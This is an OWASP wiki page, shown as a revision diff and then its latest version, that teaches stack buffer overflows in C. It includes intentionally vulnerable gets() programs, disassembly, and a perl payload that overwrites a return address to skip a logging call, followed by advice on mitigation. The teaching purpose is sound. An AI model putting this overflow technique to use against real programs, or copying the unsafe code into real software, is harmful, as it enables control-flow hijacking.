Difference between revisions of "Buffer overflow attack"

From OWASP
Jump to: navigation, search
(Description)
m (Re-organize layout of page, fix minor grammar, added smashing the stack link)
 
(25 intermediate revisions by one user not shown)
Line 1: Line 1:
 
{{Template:Attack}}
 
{{Template:Attack}}
 +
<br>
 +
[[Category:OWASP ASDR Project]]
  
 
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
 
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
  
 
==Description==
 
==Description==
 
 
Buffer overflow errors are characterized by the overwriting of memory
 
Buffer overflow errors are characterized by the overwriting of memory
fragments of the proccess, which should have never been modified
+
fragments of the process, which should have never been modified
 
intentionally or unintentionally.
 
intentionally or unintentionally.
 
Overwriting values of the IP (Instruction Pointer), BP (Base Pointer)
 
Overwriting values of the IP (Instruction Pointer), BP (Base Pointer)
Line 14: Line 15:
 
Buffer overflow errors occur when we operate on buffers of char type.
 
Buffer overflow errors occur when we operate on buffers of char type.
  
BO (common name for this kind of errors) is simply a [[Stack overflow]] or [[Heap overflow]].
+
Buffer overflows can consist of overflowing the stack ([[Stack overflow]]) or overflowing the heap ([[Heap overflow]]).
We don't distinguish between these two in this article to avoid reader's confusion.
+
We don't distinguish between these two in this article to avoid confusion.
  
 
Below examples are written in C language under GNU/Linux system on x86 architecture.
 
Below examples are written in C language under GNU/Linux system on x86 architecture.
  
 
==Risk Factors==
 
==Risk Factors==
 
+
TBD
 
+
  
 
==Examples ==
 
==Examples ==
Line 37: Line 37:
 
</pre>
 
</pre>
 
This very simple application reads from the standard input an array of the
 
This very simple application reads from the standard input an array of the
characters and copies it into the buffer of the char type. The size of this
+
characters, and copies it into the buffer of the char type. The size of this
buffer is eight characters. After that the content of the buffer is displayed
+
buffer is eight characters. After that, the contents of the buffer is displayed
and application exits.
+
and the application exits.
  
 
Program compilation:
 
Program compilation:
Line 48: Line 48:
 
   should not be used.
 
   should not be used.
 
</pre>
 
</pre>
At this stage even compiler suggests us that the used function gets() doesn't belong
+
At this stage, even the compiler suggests that the function gets() isn't safe.
to the safe ones.
+
  
 
Usage example:
 
Usage example:
Line 61: Line 60:
 
   Segmentation fault // information about memory segmenatation fault
 
   Segmentation fault // information about memory segmenatation fault
 
</pre>
 
</pre>
Definitely we manage (un)luckily to execute faulty operation by
+
We manage (un)luckily to execute the faulty operation by
the program and provoke it to exit abnormally.
+
the program, and provoke it to exit abnormally.
  
 
Problem analysis:
 
Problem analysis:
  
The program calls a function, which operate on char type buffer and does no
+
The program calls a function, which operates on the char type buffer and does no
 
checks against overflowing the size assigned to this buffer.
 
checks against overflowing the size assigned to this buffer.
As an aftermath it is possible to intentionally or unintentionally store more
+
As a result, it is possible to intentionally or unintentionally store more
data in the buffer what will cause an error. The following question arises:
+
data in the buffer, which will cause an error. The following question arises:
The buffer stores only eight characters, so why function printf() displayed twelve?.
+
The buffer stores only eight characters, so why did function printf() display twelve?.
The anserw come off the process memory organisation. Four characters which overflowed
+
The answer comes from the process memory organisation. Four characters which overflowed
 
the buffer also overwrite the value stored in one of the registers, which was
 
the buffer also overwrite the value stored in one of the registers, which was
 
necessary for the correct function return. Memory continuity resulted in printing
 
necessary for the correct function return. Memory continuity resulted in printing
Line 98: Line 97:
 
   }
 
   }
 
</pre>
 
</pre>
This example is analogous to the first one. In addition before and after doit()
+
This example is analogous to the first one. In addition, before and after the doit()
function we have two calls to function printf().
+
function, we have two calls to function printf().
 
<pre>
 
<pre>
 
   Compilation:
 
   Compilation:
Line 116: Line 115:
 
   or... maybe not?
 
   or... maybe not?
 
</pre>
 
</pre>
Program between two defined printf() calls displays content of the buffer,
+
The program between the two defined printf() calls displays the content of the buffer,
 
which is filled with data entered by the user.
 
which is filled with data entered by the user.
 
<pre>
 
<pre>
Line 125: Line 124:
 
   Segmentation fault
 
   Segmentation fault
 
</pre>
 
</pre>
Because of defined size of the buffer (char buf[8]) and filling it with
+
Because the size of the buffer was defined (char buf[8]) and it was filled it with
 
thirteen characters of char type, the buffer was overflowed.
 
thirteen characters of char type, the buffer was overflowed.
  
 
If our binary application is in ELF format, then we are able to use an objdump
 
If our binary application is in ELF format, then we are able to use an objdump
program to analise it and find necessery information to exploit buffer overflow
+
program to analise it and find necessery information to exploit the buffer overflow
 
error.
 
error.
  
Below is an output produced by the objdump. From that output we are able to
+
Below is output produced by the objdump. From that output we are able to
 
find addresses, where printf() is called (0x80483d6 and 0x80483e7).
 
find addresses, where printf() is called (0x80483d6 and 0x80483e7).
 
<pre>
 
<pre>
Line 159: Line 158:
 
   80483fb:      90                      nop
 
   80483fb:      90                      nop
 
</pre>
 
</pre>
If the second call to printf() would inform administrator about user
+
If the second call to printf() would inform the administrator about user
 
logout (e.g. closed session), then we can try to omit this step and
 
logout (e.g. closed session), then we can try to omit this step and
finish without call to printf().
+
finish without the call to printf().
 
<pre>
 
<pre>
 
rezos@dojo-labs ~/owasp/buffer_overflow $ perl -e 'print "A"x12
 
rezos@dojo-labs ~/owasp/buffer_overflow $ perl -e 'print "A"x12
Line 169: Line 168:
 
Segmentation fault
 
Segmentation fault
 
</pre>
 
</pre>
Application finished its execution with segmentation fault but the second
+
The application finished its execution with segmentation fault, but the second
 
call to printf() had no place.
 
call to printf() had no place.
  
Line 187: Line 186:
 
The issue is the same as in the first example. There is no control over  
 
The issue is the same as in the first example. There is no control over  
 
the size of the copied buffer into the previously declared one. In this  
 
the size of the copied buffer into the previously declared one. In this  
example we overwrite EIP register with address 0x080483f9, which is in  
+
example we overwrite the EIP register with address 0x080483f9, which is in  
fact call to ret in the last phase of the program execution.
+
fact a call to ret in the last phase of the program execution.
  
 
How to use buffer overflow errors in a different way?
 
How to use buffer overflow errors in a different way?
  
Generally explotation of these errors may lead to:
+
Generally, exploitation of these errors may lead to:
 
* application DoS
 
* application DoS
 
* reordering execution of functions
 
* reordering execution of functions
* code execution (if we are able to inject the shellcode - described in the separate document)
+
* code execution (if we are able to inject the shellcodedescribed in the separate document)
 +
[[Category:FIXME|which separate document? we should link to it.]]
  
How buffer overflow errors are made?
+
How are buffer overflow errors are made?
  
This kind of errors are very easy to make. For years they were programmer's
+
These kinds of errors are very easy to make. For years they were a programmer's
 
nightmare. The problem lies in native C functions, which don't care about doing
 
nightmare. The problem lies in native C functions, which don't care about doing
appropriate buffers length checks. Below is the list of such functions and if exists,
+
appropriate buffer length checks. Below is the list of such functions and, if they exist,
 
their safe equivalents:
 
their safe equivalents:
  
 
* gets() -> fgets() - read characters
 
* gets() -> fgets() - read characters
 
* strcpy() -> strncpy() - copy content of the buffer
 
* strcpy() -> strncpy() - copy content of the buffer
* strcat() -> strncat() - buffers concatation
+
* strcat() -> strncat() - buffer concatenation
 
* sprintf() -> snprintf() - fill buffer with data of different types
 
* sprintf() -> snprintf() - fill buffer with data of different types
 
* (f)scanf() - read from STDIN
 
* (f)scanf() - read from STDIN
 
* getwd() - return working directory
 
* getwd() - return working directory
* realpath() - return absolut (full) path
+
* realpath() - return absolute (full) path
  
 +
Use safe equivalent functions, which check the buffers length, whenever it's possible.
 +
Namely:
 +
#gets() -> fgets()
 +
#strcpy() -> strncpy()
 +
#strcat() -> strncat()
 +
#sprintf() -> snprintf()
  
==Related [[Threat Agents]]==
+
Those functions which don't have safe equivalents should be rewritten
 +
with safe checks implemented. Time spent on that will benefit in the future.
 +
Remember that you have to do it only once.
  
* [[:Category:Command Execution]]
+
Use compilers, which are able to identify unsafe functions, logic errors and
* [[Off-by-one]]
+
check if the memory is overwritten when and where it shouldn't be.
  
 +
==Related Security Activities==
  
==Related [[Attacks]]==
+
===Description of Buffer Overflow===
  
* [[Stack overflow attack]]
+
See the OWASP article on [[Buffer_Overflow|Buffer Overflow]] Vulnerabilities.
* [[Heap overflow attack]]
+
* [[Format string attack]]
+
  
 +
===How to Avoid Buffer Overflow Vulnerabilities===
  
==Related [[Vulnerabilities]]==
+
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Buffer_Overflows|Avoid Buffer Overflow]] Vulnerabilities.
  
* [[Format string]]
+
===How to Review Code for Buffer Overflow Vulnerabilities===
* [[Heap overflow]]
+
  
 +
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing_Code_for_Buffer_Overruns_and_Overflows|Review Code for Buffer Overruns and Overflows]] Vulnerabilities.
  
==Related [[Controls]]==
+
===How to Review Code for Buffer Overflow Vulnerabilities===
  
* Use safe equivalent functions, which check the buffers length, whenever it's possible.
+
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing_Code_for_Buffer_Overruns_and_Overflows|Review Code for Buffer Overruns and Overflows]] Vulnerabilities.
  
Namely:
+
==Related [[Threat Agents]]==
#gets() -> fgets()
+
TBD
#strcpy() -> strncpy()
+
#strcat() -> strncat()
+
#sprintf() -> snprintf()
+
  
* These functions which doesn't have their safe equivalents should be rewritten
+
==Related [[Attacks]]==
with safe checks implemented. Time spent on that will benefit in the future.
+
* [[Format string attack]]
Remember that you have to do it only once.
+
  
* Use compilers, which are able to identify unsafe functions, logic errors and
+
==Related [[Vulnerabilities]]==
check if the memory is overwritten when and where it shouldn't be.
+
* [[Heap overflow]]
 +
* [[Stack overflow]]
 +
 
 +
==Related [[Controls]]==
 +
* [[Bounds Checking]]
 +
* [[Safe Libraries]]
 +
* [[Static Code Analysis]]
 +
* [[Executable space protection]]
 +
* [[Address space layout randomization (ASLR)]]
 +
* [[Stack-smashing Protection (SSP)]]
 +
 
 +
==References==
 +
* http://insecure.org/stf/smashstack.html
  
 
[[Category:Data Structure Attacks]]
 
[[Category:Data Structure Attacks]]
 +
[[Category: Attack]]

Latest revision as of 16:26, 30 December 2013

This is an Attack. To view all attacks, please see the Attack Category page.



Last revision (mm/dd/yy): 12/30/2013

Description

Buffer overflow errors are characterized by the overwriting of memory fragments of the process, which should have never been modified intentionally or unintentionally. Overwriting values of the IP (Instruction Pointer), BP (Base Pointer) and other registers causes exceptions, segmentation faults, and other errors to occur. Usually these errors end execution of the application in an unexpected way. Buffer overflow errors occur when we operate on buffers of char type.

Buffer overflows can consist of overflowing the stack (Stack overflow) or overflowing the heap (Heap overflow). We don't distinguish between these two in this article to avoid confusion.

Below examples are written in C language under GNU/Linux system on x86 architecture.

Risk Factors

TBD

Examples

Example 1

  #include <stdio.h>
  int main(int argc, char **argv)
  {
  char buf[8]; // buffer for eight characters
  gets(buf); // read from stdio (sensitive function!)
  printf("%s\n", buf); // print out data stored in buf
  return 0; // 0 as return value
  }

This very simple application reads from the standard input an array of the characters, and copies it into the buffer of the char type. The size of this buffer is eight characters. After that, the contents of the buffer is displayed and the application exits.

Program compilation:

  rezos@spin ~/inzynieria $ gcc bo-simple.c -o bo-simple
  /tmp/ccECXQAX.o: In function `main':
  bo-simple.c:(.text+0x17): warning: the `gets' function is dangerous and
  should not be used.

At this stage, even the compiler suggests that the function gets() isn't safe.

Usage example:

  rezos@spin ~/inzynieria $ ./bo-simple // program start
  1234 // we eneter "1234" string from the keyboard
  1234 // program prints out the conent of the buffer
  rezos@spin ~/inzynieria $ ./bo-simple // start
  123456789012 // we eneter "123456789012"
  123456789012 // content of the buffer "buf" ?!?!
  Segmentation fault // information about memory segmenatation fault

We manage (un)luckily to execute the faulty operation by the program, and provoke it to exit abnormally.

Problem analysis:

The program calls a function, which operates on the char type buffer and does no checks against overflowing the size assigned to this buffer. As a result, it is possible to intentionally or unintentionally store more data in the buffer, which will cause an error. The following question arises: The buffer stores only eight characters, so why did function printf() display twelve?. The answer comes from the process memory organisation. Four characters which overflowed the buffer also overwrite the value stored in one of the registers, which was necessary for the correct function return. Memory continuity resulted in printing out the data stored in this memory area.

Example 2

  #include <stdio.h>
  #include <string.h>

  void doit(void)
  {
          char buf[8];

          gets(buf);
          printf("%s\n", buf);
  }

  int main(void)
  {
          printf("So... The End...\n");
          doit();
          printf("or... maybe not?\n");

          return 0;
  }

This example is analogous to the first one. In addition, before and after the doit() function, we have two calls to function printf().

  Compilation:

  rezos@dojo-labs ~/owasp/buffer_overflow $ gcc example02.c -o example02
  -ggdb
  /tmp/cccbMjcN.o: In function `doit':
  /home/rezos/owasp/buffer_overflow/example02.c:8: warning: the `gets'
  function is dangerous and should not be used.

  Usage example:
  rezos@dojo-labs ~/owasp/buffer_overflow $ ./example02
  So... The End...
  TEST                   // user data on input
  TEST                  // print out stored user data
  or... maybe not?

The program between the two defined printf() calls displays the content of the buffer, which is filled with data entered by the user.

  rezos@dojo-labs ~/owasp/buffer_overflow $ ./example02
  So... The End...
  TEST123456789
  TEST123456789
  Segmentation fault

Because the size of the buffer was defined (char buf[8]) and it was filled it with thirteen characters of char type, the buffer was overflowed.

If our binary application is in ELF format, then we are able to use an objdump program to analise it and find necessery information to exploit the buffer overflow error.

Below is output produced by the objdump. From that output we are able to find addresses, where printf() is called (0x80483d6 and 0x80483e7).

  rezos@dojo-labs ~/owasp/buffer_overflow $ objdump -d ./example02

  080483be <main>:
   80483be:       8d 4c 24 04             lea    0x4(%esp),%ecx
   80483c2:       83 e4 f0                and    $0xfffffff0,%esp
   80483c5:       ff 71 fc                pushl  0xfffffffc(%ecx)
   80483c8:       55                      push   %ebp
   80483c9:       89 e5                   mov    %esp,%ebp
   80483cb:       51                      push   %ecx
   80483cc:       83 ec 04                sub    $0x4,%esp
   80483cf:       c7 04 24 bc 84 04 08    movl   $0x80484bc,(%esp)
   80483d6:       e8 f5 fe ff ff          call   80482d0 <puts@plt>
   80483db:       e8 c0 ff ff ff          call   80483a0 <doit>
   80483e0:       c7 04 24 cd 84 04 08    movl   $0x80484cd,(%esp)
   80483e7:       e8 e4 fe ff ff          call   80482d0 <puts@plt>
   80483ec:       b8 00 00 00 00          mov    $0x0,%eax
   80483f1:       83 c4 04                add    $0x4,%esp
   80483f4:       59                      pop    %ecx
   80483f5:       5d                      pop    %ebp
   80483f6:       8d 61 fc                lea    0xfffffffc(%ecx),%esp
   80483f9:       c3                      ret
   80483fa:       90                      nop
   80483fb:       90                      nop

If the second call to printf() would inform the administrator about user logout (e.g. closed session), then we can try to omit this step and finish without the call to printf().

rezos@dojo-labs ~/owasp/buffer_overflow $ perl -e 'print "A"x12
."\xf9\x83\x04\x08"' | ./example02
So... The End...
AAAAAAAAAAAAu*.
Segmentation fault

The application finished its execution with segmentation fault, but the second call to printf() had no place.

A few words of explanation:

perl -e 'print "A"x12 ."\xf9\x83\x04\x08"' - will print out twelve "A" characters and then four characters, which are in fact an address of the instruction we want to execute. Why twelve?

     8 // size of buf (char buf[8])
  +  4 // four additional bytes for overwriting stack frame pointer
  ----
    12

Problem analysis:

The issue is the same as in the first example. There is no control over the size of the copied buffer into the previously declared one. In this example we overwrite the EIP register with address 0x080483f9, which is in fact a call to ret in the last phase of the program execution.

How to use buffer overflow errors in a different way?

Generally, exploitation of these errors may lead to:

  • application DoS
  • reordering execution of functions
  • code execution (if we are able to inject the shellcode, described in the separate document)

How are buffer overflow errors are made?

These kinds of errors are very easy to make. For years they were a programmer's nightmare. The problem lies in native C functions, which don't care about doing appropriate buffer length checks. Below is the list of such functions and, if they exist, their safe equivalents:

  • gets() -> fgets() - read characters
  • strcpy() -> strncpy() - copy content of the buffer
  • strcat() -> strncat() - buffer concatenation
  • sprintf() -> snprintf() - fill buffer with data of different types
  • (f)scanf() - read from STDIN
  • getwd() - return working directory
  • realpath() - return absolute (full) path

Use safe equivalent functions, which check the buffers length, whenever it's possible. Namely:

  1. gets() -> fgets()
  2. strcpy() -> strncpy()
  3. strcat() -> strncat()
  4. sprintf() -> snprintf()

Those functions which don't have safe equivalents should be rewritten with safe checks implemented. Time spent on that will benefit in the future. Remember that you have to do it only once.

Use compilers, which are able to identify unsafe functions, logic errors and check if the memory is overwritten when and where it shouldn't be.

Related Security Activities

Description of Buffer Overflow

See the OWASP article on Buffer Overflow Vulnerabilities.

How to Avoid Buffer Overflow Vulnerabilities

See the OWASP Development Guide article on how to Avoid Buffer Overflow Vulnerabilities.

How to Review Code for Buffer Overflow Vulnerabilities

See the OWASP Code Review Guide article on how to Review Code for Buffer Overruns and Overflows Vulnerabilities.

How to Review Code for Buffer Overflow Vulnerabilities

See the OWASP Code Review Guide article on how to Review Code for Buffer Overruns and Overflows Vulnerabilities.

Related Threat Agents

TBD

Related Attacks

Related Vulnerabilities

Related Controls

References